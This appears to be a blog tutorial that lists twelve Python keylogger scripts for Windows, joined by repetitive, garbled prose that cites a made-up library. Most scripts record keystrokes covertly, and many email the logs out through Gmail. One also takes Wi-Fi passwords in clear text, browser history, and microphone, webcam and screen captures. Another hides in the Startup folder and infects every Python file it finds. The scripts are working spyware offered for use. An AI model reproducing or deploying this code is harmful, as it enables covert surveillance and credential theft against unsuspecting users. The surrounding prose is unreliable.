Contents
hide
What is a Python Keylogger?
The python keylogger is recording your computer keystrokes (logging) the keys pressed on a keyboard. It is also known as keylogger or keyboard logging. In order to do keylogging, a keylogger needs to be installed on the computer. There are a number of keyloggers that can be used for this. A keylogger is a piece of computer software that can be installed on the target computer to record all the keys pressed by a user. It can be used for ethical or malicious purposes. For example, a virtual assistant can set up a keylogger to record the user’s password so that the next time the user logs in, the virtual assistant can be there to help. It can also be used to steal information such as credit card numbers.
It is also known as keylogging or keyboard capturing. There are a number of keyloggers available on the internet, so it may be difficult to choose the right one.The concept of keystroke logging is used with computers and is also done on Industrial Control Systems (ICS). It can be used for legal or illegal purposes. Keystroke logging is a keylogger, which is a software program used for logging typing keystrokes. It is usually implemented as a trojan that runs invisibly in the background.Keylogging is an old technology that has been used by various hackers in the past. python keylogger is a security process that captures every keystroke that is typed in, or every keystroke that is passed through a certain type of interception program. This blog post will take you through step by step on how to write a python keylogger.In this tutorial, you will learn how to write a keylogger in Python. A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer’s keyboard. The computer will log the keystrokes, and save them to a file.There are many different types of keyloggers on the market. The keylogger that you will be creating in this tutorial is a generic keylogger that can be used for many different types of computers. In this tutorial, you will learn how to setup a keylogger using Python.
#1 Keylogger Script:
from pynput.keyboard import Key, Listener
import time
import logging
import pynput
from win32gui import GetWindowText, GetForegroundWindow
logging.basicConfig(filename='YoYo.log', filemode='w', level=logging.INFO)
logger = logging.getLogger("My Keylogger")
logger.setLevel(logging.INFO)
count=0
keys=[]
class keylogger():
def __init__(self):
self.word=""
self.laststroke=time.time()
global logger
self.lastApp,self.lastactivewindow = self.getActiveWindow()
logger.info(self.lastactivewindow)
self.currentApp,self.currentactivewindow = None,None
def getActiveWindow(self):
lastactivewindow=GetWindowText(GetForegroundWindow())
if lastactivewindow[0]=='●':
lastactivewindow=lastactivewindow[2:]
splitterCount= lastactivewindow.count('-')
if lastactivewindow.count('-')==0:
lastApp=lastactivewindow
else:
lastApp=lastactivewindow.split('-')[splitterCount]
return lastApp,lastactivewindow
def checkCurrentWindow(self):
if self.currentactivewindow!=self.lastactivewindow:
logger.info(self.currentactivewindow)
logger.info("-"*50)
self.lastactivewindow=self.currentactivewindow
def ischaracter(self,key):
try:
if isinstance(key,pynput.keyboard._win32.KeyCode) and (ord(str(key)[1]) in range(32,126)):
return True
except:
return False
def on_press(self,key):
stroketime=time.time()
global keys,count,logger
self.currentApp,self.currentactivewindow=self.getActiveWindow()
self.checkCurrentWindow()
print(stroketime-self.laststroke,"{0}".format(key)[1])
if stroketime-self.laststroke>1:
print()
logger.info(self.word)
if self.ischaracter(key):
self.word="{0}".format(key)[1]
else:
self.word=""
if self.ischaracter(key):
self.word+="{0}".format(key)[1]
self.laststroke=stroketime
def write_file(self,keys):
with open("log.txt", "a") as f:
for key in keys:
f.write(key)
def on_release(self,key):
if key== Key.esc:
return False
def start(self):
with Listener(on_press=self.on_press, on_release=self.on_release) as listener:
listener.join()
if __name__=="__main__":
keylog=keylogger()
keylog.start()
#2 Keylogger Script:
import pynput.keyboard
import smtplib
import threading
log=""
def callback_function(key):
global log
try:
log=log+key.char.encode("utf-8")
#log= log+ str(key.char)
print(log)
except AttributeError:
if key==key.space:
log=log+" "
else:
log=log+str(key)
print(log)
def send_email(email,password,message):
email_server=smtplib.SMTP("smtp.gmail.com",587)
email_server.starttls()
email_server.login(email,password)
email_server.sendmail(email,email,message)
email_server.quit()
def threadfunct():
global log
send_email("example@gmail.com", "password", log)
log=""
timer_object=threading.Timer(30,threadfunct)
timer_object.start()
keylogger_listener=pynput.keyboard.Listener(on_press=callback_function)
with keylogger_listener:
threadfunct()
keylogger_listener.join()
#3 Keylogger Script:
import pynput
from pynput.keyboard import Key, Listener
print("Hey Users, This is Keylogger made by Prashant Aditya, check it out, and to exit this, press volume down key ")
keys = []
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
def write_file(keys):
with open('finaloutput.txt', 'w') as f:
for key in keys:
# removing ''
k = str(key).replace("'", "")
f.write(k)
# every keystroke for readability
f.write('\n')
def on_release(key):
print('{0} released'.format(key))
if key == Key.media_volume_down:
return False
with Listener(on_press=on_press,
on_release=on_release) as listener:
listener.join()
#4 Keylogger Script:
import logging
import os
import platform
import smtplib
import socket
import threading
import pyscreenshot
from pynput import keyboard
from pynput.keyboard import Listener
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from subprocess import call
modules = ["pyscreenshot", "pynput", "pillow", "pygame"]
call("pip install " + ' '.join(modules), shell=True)
EMAIL_ADDRESS = "Your-Email-Address"
EMAIL_PASSWORD = "Your Password"
SEND_REPORT_EVERY = 60
class KeyLogger:
def __init__(self, time_interval, email, password):
self.interval = time_interval
self.log = "Keylogger started successfully"
self.email = email
self.password = password
def appendlog(self, string):
self.log = self.log + string
def on_move(self, x, y):
current_move = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_move)
def on_click(self, x, y):
current_click = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_click)
def on_scroll(self, x, y):
current_scroll = logging.info("Mouse moved to {} {}".format(x, y))
self.appendlog(current_scroll)
def save_data(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = "SPACE"
elif key == key.esc:
current_key = "ESC"
else:
current_key = " " + str(key) + " "
self.appendlog(current_key)
def send_mail(self, email, password, message):
server = smtplib.SMTP(host='smtp.gmail.com', port=587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def send_img(self):
with open('ss.png', 'rb') as f:
img_data = f.read()
msg = MIMEMultipart()
msg['Subject'] = socket.gethostname() + '\'s screenshot LMAO!'
msg['From'] = EMAIL_ADDRESS
msg['To'] = EMAIL_ADDRESS
text = MIMEText('test')
msg.attach(text)
image = MIMEImage(img_data, name=os.path.basename('ss.png'))
msg.attach(image)
s = smtplib.SMTP(host='smtp.gmail.com', port=587)
s.ehlo()
s.starttls()
s.ehlo()
s.login(EMAIL_ADDRESS, EMAIL_PASSWORD)
s.sendmail(msg['From'], msg['To'], msg.as_string())
s.quit()
print('Game running successfully')
os.remove('ss.png')
def report(self):
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer = threading.Timer(self.interval, self.report)
timer.start()
def system_information(self):
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
plat = platform.processor()
system = platform.system()
machine = platform.machine()
self.appendlog(hostname)
self.appendlog(ip)
self.appendlog(plat)
self.appendlog(system)
self.appendlog(machine)
def screenshot(self):
print('game opened')
img = pyscreenshot.grab()
img.save('ss.png')
self.send_img()
def run(self):
self.screenshot()
keyboard_listener = keyboard.Listener(on_press=self.save_data)
with keyboard_listener:
self.report()
keyboard_listener.join()
with Listener(on_click=self.on_click,
on_move=self.on_move,
on_scroll=self.on_scroll)as mouse_listener:
mouse_listener.join()
if os.name == "nt":
try:
pwd = os.path.abspath(os.getcwd())
os.system("cd " + pwd)
os.system("TASKKILL /F /IM " + os.path.basename(__file__))
print('File was closed.')
os.system("DEL " + os.path.basename(__file__))
except OSError:
print('File is close.')
keylogger = KeyLogger(SEND_REPORT_EVERY, EMAIL_ADDRESS, EMAIL_PASSWORD)
keylogger.run()
#5 Keylogger Script:
from functools import partial
from urllib import request
import atexit
import json
import os
import keyboard
MAP = {
"space": " ",
"\r": "\n"
}
FILE_NAME = "./keystrokes.log"
SEND_TO_REMOTE_SERVER = False
TERMINATE_KEY = "f7"
def callback(output, is_down, event):
if event.event_type in ("up", "down"):
key = MAP.get(event.name, event.name)
modifier = len(key) > 1
if not modifier and event.event_type == "down": # Capture only modifiers when keys are pressed
return
if modifier: # Avoid typing the same key multiple times if it is being pressed
if event.event_type == "down":
if is_down.get(key, False):
return
is_down[key] = True
elif event.event_type == "up":
is_down[key] = False
key = " [{} ({})] ".format(key, event.event_type) # Indicate if the key is being pressed
elif key == "\r":
key = "\n" # Line break
output.write(key) # Write the key to the output file
output.flush() # Force write
def onexit(output):
output.close()
def main():
print("Press F7 to terminate")
if SEND_TO_REMOTE_SERVER:
if os.path.exists(FILE_NAME):
file = open(FILE_NAME, "r").read()
array_data = {
"data": file,
"type": "keylogger"
}
data = json.dumps(array_data).encode('utf8')
req = request.Request(
"https://marroquin.dev/api/tests",
data=data,
headers={
'content-type': 'application/json'
}
)
request.urlopen(req)
try:
if os.path.exists(FILE_NAME):
os.remove(FILE_NAME) # Delete the old file
is_down = {} # Indicates if a key is being pressed
output = open(FILE_NAME, "a") # Output file
atexit.register(onexit, output) # Close the file at the end of the program
keyboard.hook(partial(callback, output, is_down)) # Install the keylogger
keyboard.wait(TERMINATE_KEY) # Run until end key is pressed
except PermissionError:
print("File is probably being used by another process")
if __name__ == "__main__":
main()
#6 Keylogger Script:
from pynput import keyboard
import smtplib, ssl
import time
import ctypes
import os
global start_time
interval = 60
smtp_server = "smtp.gmail.com"
port = 587
sender_email = "" # Place your email here
reciever_email = "" # Place the email that will recieve the captured keys
password = "" # Place the password of the sender email here
characters = ""
context = ssl.create_default_context()
class KeyLogger():
def __init__(self, filename: str = "logs.txt"):
self.filename = filename
@staticmethod
def get_char(key):
try:
return key.char, 0
except AttributeError:
return str(key), 1
def mail(self):
f = open("logs.txt")
characs = f.read()
#print(characs)
f.close()
f = open("logs.txt", "r+")
f.truncate(0)
f.close()
try:
server = smtplib.SMTP(smtp_server, port)
server.starttls(context=context)
server.login(sender_email, password)
server.sendmail(sender_email, reciever_email, characs)
except Exception as e:
print(e)
finally:
server.quit()
def on_press(self, key):
global start_time
#print(key)
with open(self.filename, 'a') as logs:
os.system("attrib +h "+self.filename)
a, b = self.get_char(key)
if b == 0:
logs.write(a)
else:
logs.write("\n"+a+"\n")
def main(self):
listener = keyboard.Listener(
on_press=self.on_press,
)
listener.start()
if __name__ == '__main__':
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
start_time = time.time()
logger = KeyLogger()
logger.main()
#time.sleep(50000)
tt = 0
#print("here")
while True:
tt += 100
time.sleep(100) # Replace 100 with the time limit after which you want to recieve emails.
logger.mail()
#7 Keylogger Script:
from email import encoders
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import keyboard
import smtplib
from datetime import datetime
from win32gui import GetWindowText, GetForegroundWindow
import tkinter as tk
import tkinter.scrolledtext as scrolledtext
EMAIL_ADDRESS = "email address"
EMAIL_PASSWORD = "email password"
fileName = "LOGS.txt"
log_with_special_keys = ""
def send_email(email, password):
text = "The logs are attached"
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
server.starttls()
server.login(email, password)
message = MIMEMultipart()
with open(fileName, "rb") as attachment:
part = MIMEBase("application", "octet-stream")
part.set_payload(attachment.read())
encoders.encode_base64(part)
part.add_header(
"Content-Disposition",
f"attachment; filename= {fileName}",
)
message['From'] = email
message['To'] = email
message['Subject'] = "KEYLOGGER"
message.attach(MIMEText(text, 'plain'))
message.attach(part)
server.send_message(message)
server.quit()
def special_char_name(character):
if character == '\n':
return "ENTER"
elif character == '\t':
return "TAB"
elif character == " ":
return "SPACE"
else:
return character
def report_to_file(fileName):
global log_with_special_keys
with open(fileName, "w") as file:
file.write(log_with_special_keys)
class Keylogger:
def __init__(self, window):
self.window = window
self.active_window = GetWindowText(GetForegroundWindow())
self.date = str(datetime.now())[:-7].replace(" ", "-")
self.log_without_special_keys = f"\n[{self.active_window} - {self.date}]\n"
global log_with_special_keys
log_with_special_keys = f"\n[{self.active_window} - {self.date}]\n"
keyboard.on_press(callback=self.callback)
keyboard.add_hotkey("ctrl+alt", callback=self.window.switch)
keyboard.add_hotkey("ctrl+shift+alt+enter", callback=self.report)
def callback(self, event):
if self.active_window != GetWindowText(GetForegroundWindow()):
self.date = str(datetime.now())[:-7].replace(" ", "-")
self.active_window = GetWindowText(GetForegroundWindow())
self.log_without_special_keys += f"\n[{self.active_window} - {self.date}]\n"
global log_with_special_keys
log_with_special_keys += f"\n[{self.active_window} - {self.date}]\n"
self.valid_key(event.name)
def valid_key(self, key):
global log_with_special_keys
if len(key) > 1:
if key == "space":
self.log_without_special_keys += " "
log_with_special_keys += f"[{key.upper()}] "
elif key == "enter":
self.log_without_special_keys += "\n"
log_with_special_keys += f"[{key.upper()}]\n"
elif key == "tab":
self.log_without_special_keys += "\t"
log_with_special_keys += f"[{key.upper()}]\t"
elif key == "backspace":
log_with_special_keys += f"[{key.upper()} - ({special_char_name(self.log_without_special_keys[-1])})]"
self.log_without_special_keys += self.log_without_special_keys[:-1]
else:
log_with_special_keys += f"[{key.upper()}]"
self.log_without_special_keys += f"[{key.upper()}]"
else:
self.log_without_special_keys += key
log_with_special_keys += key
def report(self):
global log_with_special_keys
if log_with_special_keys:
report_to_file(fileName)
send_email(EMAIL_ADDRESS, EMAIL_PASSWORD)
log_with_special_keys = ""
self.log_without_special_keys = ""
class Window(tk.Tk):
def __init__(self):
super(Window, self).__init__()
self.withdraw()
self.text = scrolledtext.ScrolledText(self, width=80, height=20, wrap='word')
self.text.pack()
self.title("Keylogger")
def set_text(self, text):
self.text.delete(1.0, tk.END)
self.text.insert(tk.END, text)
def switch(self):
if self.state() == "normal":
self.withdraw()
else:
global log_with_special_keys
self.set_text(log_with_special_keys)
self.deiconify()
if __name__ == "__main__":
window = Window()
keylogger = Keylogger(window)
window.mainloop()
How to use a Python Keylogger on Windows?
Some python keylogger can also monitor the clipboard and monitor the system memory and it can also record mouse movements. The keylogger can be installed on a computer, a laptop, a smartphone, a tablet, a network, a network-connected printer, etc. Keystroke logging is used by hackers to gain access to private information.It is a technique that hackers use in order to capture the keystrokes on a keyboard and use them to gain access to systems. They can then steal passwords and personal information and use the system to launch attacks.In the simplest terms, keylogging is the process of capturing the keystrokes typed by a user in order to obtain the keystrokes typed by the user.Keystroke logging is commonly used in computer security applications (including law enforcement, military, intelligence, and in the private sector) to monitor a computer user’s activity.
Keystroke logging is the term that refers to monitoring and recording each keystroke typed on a specific computer’s keyboard. In this tutorial, you will learn how to write a keylogger in Python. You will learn how to use a library called PyKludge to capture keystrokes and how to use a library called Scapy to send commands to the computer.Keystroke logging is the process of capturing and recording each keystroke typed on a specific computer’s keyboard. It is commonly used in the fields of computer security, law enforcement, and computer hacking.Keystroke logging is the process of recording every single keystroke typed on a specific computer. This is done by using a keylogger. A keylogger is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer’s keyboard. There are two types of keyloggers. One is installed on the target computer, while the other is installed on a remote computer. Keystroke logs are often used as evidence in a criminal investigation.Keylogging is an old technology that has been used by various hackers in the past. Keylogging is a security process that captures every keystroke that is typed in, or every keystroke that is passed through a certain type of interception program. This blog post will take you through step by step on how to write a python keylogger.
There are many different types of python keylogger on the market. The keylogger that you will be creating in this tutorial is a generic keylogger that can be used for many different types of computers. In this tutorial, you will learn how to setup a keylogger using Python.Keystroke logging is a common type of surveillance technology used to monitor and record every keystroke typed on a specific computer’s keyboard. It’s typically done by software that is installed on a computer and is used to gather personal and sensitive information without the computer user’s knowledge.python keylogger is the process of recording or logging the keystrokes that are typed on a computer or other device. It is often used in law enforcement, as well as in data analytics and forensics. There are a wide variety of tools available for this purpose. The most common tool is the keylogger. This tool is used to record the keystrokes that are typed on a computer. Keystroke logging is often used in conjunction with other tools, such as keystroke monitoring software, spyware and data analytics tools.Keystroke logging is the act of recording which keys are being pressed on a keyboard at a given time. Keystroke logging software can be used to monitor activity on any computer, including a computer that is not connected to the internet. This software is often referred to as a python keylogger. Keystroke logging software is often most useful when monitoring remote computers.
#8 Keylogger Script:
try:
import subprocess # Yeni bir aplikasyon için kullanilmasi için gerekli kütüphane
import socket # Internet sunucularina erisim ve iletisim için gerekli kütüphane
import os # Dosya ile ilgili islemler için gerekli kütüphane
import re # String içerisindeki deðeri bulmamiza yardimci olan kütüphane
import smtplib # Verileri mail yoluyla bize yollamasi için gerekli kütüphane
import logging # Durum mesajlarini dosyaya yazmasini ya da or ciktiyi göstermesi için gerekli
import pathlib # JSON formatı icin gerekl kutuphane
import json
import time # Kodu uyutup bir süre bekletmemizi saðlayan kütüphane
import cv2 # Ekran kaydi ve görüntü isleme için gerekli kütüphane
import sounddevice # Numpy dizilerini ses dosyasina dönüstüren kütüphane
import shutil # Otomatik olarak dosyalari kopyalayan ya da silen kütüphane
import requests # HTTP/1.1 istek yollayan kütüphane
import browserhistory as bh # Kullanici adi, þifreleri ve tarayici geçmisini json formatinda döndüren kütüphane
from multiprocessing import Process # Processin olusmasinda yardim eden kütüphane
from pynput.keyboard import Key, Listener # Girilen girdileri dinleyen kütüphane
from PIL import ImageGrab # Ekrandaki görselleri? kopyalayan, görsel islemleride kullanilan kütüphane
from scipy.io.wavfile import write as write_rec # Numpy dizilerini WAv formatinda yazan kütüphane
from email.mime.multipart import MIMEMultipart # ['From'], ['To'], ve ['Subject'] bölümlerini encodelayan kütüphane
from email.mime.text import MIMEText # E mail yollayan kütüphane
from email.mime.base import MIMEBase
from email import encoders
except ModuleNotFoundError:
from subprocess import call
modules = ["browserhistory","sounddevice","pynput","Pillow==8.3.1","keyboard==0.13.5","opencv-python","pywin32==301","requests==2.26.0","scipy==1.7.1","pathlib==1.0.1","jsonschema==3.2.0"]
call("pip install " + ' '.join(modules), shell=True)
#Bilgi sistemleri projesi için yapilmistir eklenen bazi fanksiyonlar internette buldugum kaynaklardan büyük oranda esinlenilmistir.
################ Fonksiyonlar: Klavye dinleme, Ekran Görüntüsü Alma, Mikrafon Kaydetme, Webcam ile Görüntü Alma, Email Yollama ################
# Klavye dinleme fonksiyonu
def logg_keys(file_path):
logging.basicConfig(filename = (file_path + 'key_logs.txt'), level=logging.DEBUG, format='%(asctime)s: %(message)s')
on_press = lambda Key : logging.info(str(Key)) # Basilan tusu log'a kaydediyor
with Listener(on_press=on_press) as listener: # Birakildiginda kaydet
listener.join()
# 5 saniye araliklarla ekran görüntüsü alan fonksiyon
def screenshot(file_path):
pathlib.Path('C:/Users/Public/Logs/Screenshots').mkdir(parents=True, exist_ok=True)
screen_path = file_path + 'Screenshots\\'
for x in range(0,10):
pic = ImageGrab.grab()
pic.save(screen_path + 'screenshot{}.png'.format(x))
time.sleep(5)
# Cagrildiginda 10'ar saniye boyunca mikrafonu dinleyen fonksiyon
def microphone(file_path):
for x in range(0, 5):
fs = 44100
seconds = 10
myrecording = sounddevice.rec(int(seconds * fs), samplerate=fs, channels=2)
sounddevice.wait() # Dinlemenin bitirip bitirilmedigini kontrol et
write_rec(file_path + '{}mic_recording.wav'.format(x), fs, myrecording)
# Webcam ile fotoðraf çeken fonksiyon
def webcam(file_path):
pathlib.Path('C:/Users/Public/Logs/WebcamPics').mkdir(parents=True, exist_ok=True)
cam_path = file_path + 'WebcamPics\\'
cam = cv2.VideoCapture(0)
for x in range(0, 10):
ret, img = cam.read()
file = (cam_path + '{}.jpg'.format(x))
cv2.imwrite(file, img)
time.sleep(5)
cam.release #Webcam'i kapat
cv2.destroyAllWindows
#E-mail'i hazirla ve olustur
def email_base(name, email_address):
name['From'] = email_address
name['To'] = email_address
name['Subject'] = 'Basarili!!!'
body = 'Gorev Tamamlandi'
name.attach(MIMEText(body, 'plain'))
return name
#SMTP kullanarak 587 portuna baglan
def smtp_handler(email_address, password, name):
s = smtplib.SMTP('smtp.gmail.com', 587)
s.starttls()
s.login(email_address, password)
s.sendmail(email_address, email_address, name.as_string())
s.quit()
#Maili yolla
def send_email(path):
regex = re.compile(r'.+\.xml$')
regex2 = re.compile(r'.+\.txt$')
regex3 = re.compile(r'.+\.png$')
regex4 = re.compile(r'.+\.jpg$')
regex5 = re.compile(r'.+\.wav$')
email_address = 'erkansari734@gmail.com' #Mail adresini giriniz(Benim sahte mail adresim)
password = '69e78e01t' #Mail'in sifresini giriniz
msg = MIMEMultipart()
email_base(msg, email_address)
exclude = set(['Screenshots', 'WebcamPics'])
for dirpath, dirnames, filenames in os.walk(path, topdown=True):
dirnames[:] = [d for d in dirnames if d not in exclude]
for file in filenames:
# Her bir dosya adi için özel bir yol belirle. Eðer tespit edilirse, dosya uzantisini normal ifade degiskenleriyle biriyle eslestirdiginde calimiyor.
# Eger ilk dört reget deðer döndürürse, O zaman bütün degerler e mail dosyasýna eklenip gönderilecek.
if regex.match(file) or regex2.match(file) or regex3.match(file) or regex4.match(file):
p = MIMEBase('application', "octet-stream")
with open(path + '\\' + file, 'rb') as attachment:
p.set_payload(attachment.read())
p.add_header('Content-Disposition', 'attachment;' 'filename = {}'.format(file))
msg.attach(p)
# Eger sadece regex5(WAV) deðer döndürürse, o zaman tek bir deðer e mail dosyasýna eklenip gönderilecek.
elif regex5.match(file):
msg_alt = MIMEMultipart()
email_base(msg_alt, email_address)
p = MIMEBase('application', "octet-stream")
with open(path + '\\' + file, 'rb') as attachment:
p.set_payload(attachment.read())
p.add_header('Content-Disposition', 'attachment;' 'filename = {}'.format(file))
msg_alt.attach(p)
smtp_handler(email_address, password, msg_alt)
# Eger eslesip deger döndüren bir deger yoksa devam et.
else:
pass
# Wav dosyasi olmayan bütün degerleri yolla
smtp_handler(email_address, password, msg)
######################### Main Function: Network/Wifi bilgisi, Sistem bilgisi, Kopyalanmýþ veri, Tarayýcý geçmiþi #########################
# Main baslatildiginda alinan bilgileri kaydetmek için bir dizin -Path yolu- olustur
def main():
pathlib.Path('C:/Users/Public/Logs').mkdir(parents=True, exist_ok=True)
file_path = 'C:\\Users\\Public\\Logs\\'
# Network/Wifi bilgisini network_wifi.txt ile al ve kaydet
with open(file_path + 'network_wifi.txt', 'a') as network_wifi:
try:
# Assagidaki deðerler shell'e gir ve bilgileri çek.
commands = subprocess.Popen([ 'Netsh', 'WLAN', 'export', 'profile', 'folder=C:\\Users\\Public\\Logs\\', 'key=clear',
'&', 'ipconfig', '/all', '&', 'arp', '-a', '&', 'getmac', '-V', '&', 'route', 'print', '&',
'netstat', '-a'], stdout=network_wifi, stderr=network_wifi, shell=True)
# 60 saniye zaman asimi yediðinde kendini öldür.
outs, errs = commands.communicate(timeout=60)
except subprocess.TimeoutExpired:
commands.kill()
out, errs = commands.communicate()
# Sistem bilgisini system_info ile al
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
#Sistem bilgisini api.ipify sitesine istek atarak siteden command blocktan alamayacağımız bilgileri cekiyoruz
with open(file_path + 'system_info.txt', 'a') as system_info:
try:
public_ip = requests.get('https://api.ipify.org').text
except requests.ConnectionError:
public_ip = '* Ipify connection failed *'
pass
system_info.write('Public IP Address: ' + public_ip + '\n' + 'Private IP Address: ' + IPAddr + '\n')
try:
get_sysinfo = subprocess.Popen(['systeminfo', '&', 'tasklist', '&', 'sc', 'query'],
stdout=system_info, stderr=system_info, shell=True)
outs, errs = get_sysinfo.communicate(timeout=15)
except subprocess.TimeoutExpired:
get_sysinfo.kill()
outs, errs = get_sysinfo.communicate()
#Tarayici ismi, database yolunu ve geçmisi JSON formatinda txt dosyasina kaydet
browser_history = []
bh_user = bh.get_username()
db_path = bh.get_database_paths()
hist = bh.get_browserhistory()
browser_history.extend((bh_user, db_path, hist))
with open(file_path + 'browser.txt', 'a') as browser_txt:
browser_txt.write(json.dumps(browser_history))
################################################### Multiprocess Modülleri Kullanmak ###################################################
p1 = Process(target=logg_keys, args=(file_path,)) ; p1.start() # Klavye dinleme
p2 = Process(target=screenshot, args=(file_path,)) ; p2.start() # Ekran görüntüsü alma
p3 = Process(target=microphone, args=(file_path,)) ; p3.start() # Mikrafon dinleme
p4 = Process(target=webcam, args=(file_path,)) ; p4.start() # Webcam ile fotoðraf çekme
# Eðer process görevini yerine getirdiyse kapat
p1.join(timeout=300) ; p2.join(timeout=300) ; p3.join(timeout=300) ; p4.join(timeout=300)
p1.terminate() ; p2.terminate() ; p3.terminate() ; p4.terminate()
# þifrelenmiþ verileri mailine yolla
send_email('C:\\Users\\Public\\Logs')
send_email('C:\\Users\\Public\\Logs\\Screenshots')
send_email('C:\\Users\\Public\\Logs\\WebcamPics')
shutil.rmtree('C:\\Users\\Public\\Logs') #Dosyalari temizle
main() # Main fonksiyonu ile döngüye sok
if __name__ == '__main__':
main()
#9 Keylogger Script:
from pynput import keyboard
import smtplib,ssl
sender_mail = "user@domain.com" # Replace user@domain.com with your email id (everywhere)
#prefer using your own email id for receiver's as well.
receiver_mail = "user@domain.com" # Replace user@domain.com with your email id (everywhere)
password = "passcode" # Enter your Password here
port = 587
message = """From: user@domain.com
To: user@domain.com
Subject: KeyLogs
Text: Keylogs
"""
def write(text):
with open("keylogger.txt",'a') as f:
f.write(text)
f.close()
def on_key_press(Key):
try:
if(Key == keyboard.Key.enter):
write("\n")
else:
write(Key.char)
except AttributeError:
if Key == keyboard.Key.backspace:
write("\nBackspace Pressed\n")
elif(Key == keyboard.Key.tab):
write("\nTab Pressed\n")
elif(Key == keyboard.Key.space):
write(" ");
else:
temp = repr(Key)+" Pressed.\n"
write(temp)
print("\n{} Pressed\n".format(Key))
def on_key_release(Key):
#This stops the Listener/Keylogger.
#You can use any key you like by replacing "esc" with the key of your choice
if(Key == keyboard.Key.esc):
return False
with keyboard.Listener(on_press= on_key_press,on_release= on_key_release) as listener:
listener.join()
with open("keylogger.txt",'r') as f:
temp = f.read()
message = message + str(temp)
f.close()
context = ssl.create_default_context()
server = smtplib.SMTP('smtp.gmail.com', port)
server.starttls()
server.login(sender_mail,password)
server.sendmail(sender_mail,receiver_mail,message)
print("Email Sent to ",sender_mail)
server.quit()
#10 Keylogger Script:
import smtplib
import subprocess
import pynput.keyboard
import threading
import socket
import sys
import os
class Keylogger:
def __init__(self, time_interval, email, password):
hostname = socket.gethostname()
IPAddr = socket.gethostbyname(hostname)
self.log = "Keylogger started " + "\n" + "Target Computer Name is: " + hostname + "\n" + "Target Computer IP Address is: " + IPAddr
self.interval = time_interval
self.email = email
self.password = password
def execute_system_command(self, commmand):
DEVNULL = open(os.devnull, 'wb')
return subprocess.check.output(commmand, shell = True, stderr = DEVNULL, stdid = DEVNULL)
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self, key):
try: # for special characters
current_key = str(key.char)
except AttributeError: # for special characters
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer = threading.Timer(self.interval, self.report) # Timer set on a interval, modify to fit your needs (seconds)
timer.start()
def send_mail(self, email, password, message):
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def start(self):
keystrokes = pynput.keyboard.Listener(on_press=self.process_key_press) # call back for when a key is pressed
with keystrokes:
self.report()
keystrokes.join()
sys.exit()
keeginlogarithm = keylogger.Keylogger(300, "testgmail@gmail.com", "123456789") #
keeginlogarithm.start()
#11 Keylogger Script:
#start
from pynput.keyboard import Listener
import os
import logging
from shutil import copyfile
import threading
from threading import Thread
import sys, glob
import time
# autostarts
username = os.getlogin()
copyfile('keylogger.py', f"C:\\Users\\{username}\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\keylogger.pyw")
#store THIS file code
code = []
with open(sys.argv[0], 'r') as f:
lines = f.readlines()
area = False
for line in lines:
if line == "#start\n":
area = True
if area:
code.append(line)
if line == "#end\n":
break
def checkfiles(files):
#opens each file
for file in files:
with open(file, "r") as f:
#new file code
file_code = f.readlines()
#checking
infected = False
for line in file_code:
if line == "#start\n":
infected = True
break
if not infected:
final_code = []
#add THIS file code
final_code.extend(code)
#add breaklines
final_code.extend("\n")
final_code.extend("\n")
#add new file code
final_code.extend(file_code)
with open(file, "w") as f:
f.writelines(final_code)
#find files
username = os.getlogin()
rootdir = f'C:/Users/{username}'
for subdir, dirs, files in os.walk(rootdir):
for i in dirs:
folderpath = os.path.join(subdir, i)
try:
os.chdir(folderpath)
python = glob.glob("*.py") + glob.glob("*.pyw")
checkfiles(python)
except:
pass
#create log file
def createlogs():
username = os.getlogin()
if os.path.exists(f"C:\\Users\\{username}\\AppData\\Roaming\\zzz") == False:
os.mkdir(f"C:\\Users\\{username}\\AppData\\Roaming\\zzz")
logdirectory = f"C:\\Users\\{username}\\AppData\\Roaming\\zzz"
logging.basicConfig(filename=f"{logdirectory}\logs.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s")
def start():
#function for log file
def startingkey(key):
logging.info(key)
#start logger
with Listener(on_press=startingkey) as listener:
listener.join()
if __name__ == '__main__':
createlogs = threading.Thread(name='daemon', target=createlogs)
createlogs.setDaemon(True)
createlogs.start()
createlogs.join()
start = threading.Thread(name='daemon', target=start)
start.setDaemon(True)
start.start()
start.join()
#12 Keylogger Script:
import smtplib
import os
import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime,timedelta
keys = []
start = datetime.now()
def on_press(key):
keys.append(key)
write_file(keys)
try:
f = open('sus.txt', 'x')
except:
temp='PLSDONTHIREME'
def write_file(keys):
f = open('sus.txt', 'r+')
for key in keys:
if key == Key.space:
f.write(' ')
elif key == Key.enter:
f.write('\n')
elif key == Key.backspace:
f.seek(os.SEEK_CUR-1, 1)
f.write('*')
else:
try:
print('alphnum {0}'.format(key.char))
f.write(str(key).replace("'", ""))
except AttributeError:
print('special {0}'.format(key))
def on_release(key):
if datetime.now() > start + timedelta(minutes=10) or len(keys) > 1000:
return False
with Listener(on_press=on_press,
on_release=on_release) as listener:
listener.join()
email = "-email-"
password = "-password-"
message = ""
f = open('sus.txt', 'r+')
for x in f:
message += x
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
#13 Keylogger Script:
